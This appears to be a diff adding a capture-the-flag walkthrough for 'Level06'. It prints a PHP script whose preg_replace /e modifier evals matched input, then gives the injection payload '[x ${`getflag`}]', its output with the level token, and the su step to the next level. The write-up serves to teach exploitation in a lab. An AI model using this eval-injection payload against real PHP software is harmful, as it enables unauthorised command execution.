|
| 1 | + |
| 2 | + |
| 3 | + |
| 4 | +# **Level06** |
| 5 | + |
| 6 | +### **Walk through** |
| 7 | + |
| 8 | +For this 6th level we got two files, a .php script and a binary, respectively level06.php and level06. |
| 9 | + |
| 10 | +`cat level06.php` |
| 11 | + |
| 12 | +```php |
| 13 | +#!/usr/bin/php |
| 14 | +<?php |
| 15 | + |
| 16 | +// Define a function 'y' that replaces '.' with ' x ' and '@' with ' y' |
| 17 | +// in a given string. |
| 18 | + |
| 19 | +function y($m) { |
| 20 | + $m = preg_replace("/\./", " x ", $m); |
| 21 | + $m = preg_replace("/@/", " y", $m); |
| 22 | + return $m; |
| 23 | +} |
| 24 | + |
| 25 | +// Define a function 'x' that takes two parameters, reads the contents of a file |
| 26 | +// specified by the first parameter, and performs some regular expression |
| 27 | +// replacements on the content. |
| 28 | + |
| 29 | +function x($y, $z) { |
| 30 | + |
| 31 | + // Read the contents of the file specified by $y into a variable $a. |
| 32 | + $a = file_get_contents($y); |
| 33 | + |
| 34 | + // Replace occurrences of '[x (anything)]' with the result of calling function |
| 35 | + // 'y' on the captured content. |
| 36 | + $a = preg_replace("/(\[x (.*)\])/e", "y(\"\\2\")", $a); |
| 37 | + |
| 38 | + // Replace '[' with '(' and ']' with ')' in the content. |
| 39 | + $a = preg_replace("/\[/", "(", $a); |
| 40 | + $a = preg_replace("/\]/", ")", $a); |
| 41 | + |
| 42 | + // Return the modified content. |
| 43 | + return $a; |
| 44 | +} |
| 45 | + |
| 46 | +// Call function 'x' with command-line arguments and print the result. |
| 47 | +$r = x($argv[1], $argv[2]); |
| 48 | +print $r; |
| 49 | +?> |
| 50 | + |
| 51 | +``` |
| 52 | + |
| 53 | +We should take a special attention at this precise line: |
| 54 | + |
| 55 | +**`$a = preg_replace("/(\[x (.*)\])/e", "y(\"\\2\")", $a);`** |
| 56 | + |
| 57 | +Indeed, the `/e` is a well know vulnerabilities in php script. The e modifier in PHP regular expressions stands for "eval." When used, it allows the evaluation of the matched pattern as PHP code. We will use it at our advantage. We'll write a script that we'll pass as argument at ./level06. |
| 58 | + |
| 59 | +``` |
| 60 | +echo '[x ${`getflag`}]' > /tmp/flag06 |
| 61 | +./level06 /tmp/flag06 |
| 62 | +
|
| 63 | +PHP Notice: Undefined variable: Check flag.Here is your token : wiok45aaoguiboiki2tuin6ub |
| 64 | + in /home/user/level06/level06.php(4) : regexp code on line 1 |
| 65 | +
|
| 66 | +``` |
| 67 | + |
| 68 | +The flag is **wiok45aaoguiboiki2tuin6ub** |
| 69 | + |
| 70 | +We will use it to log as level07 |
| 71 | + |
| 72 | +`su level07` |
| 73 | + |
0 commit comments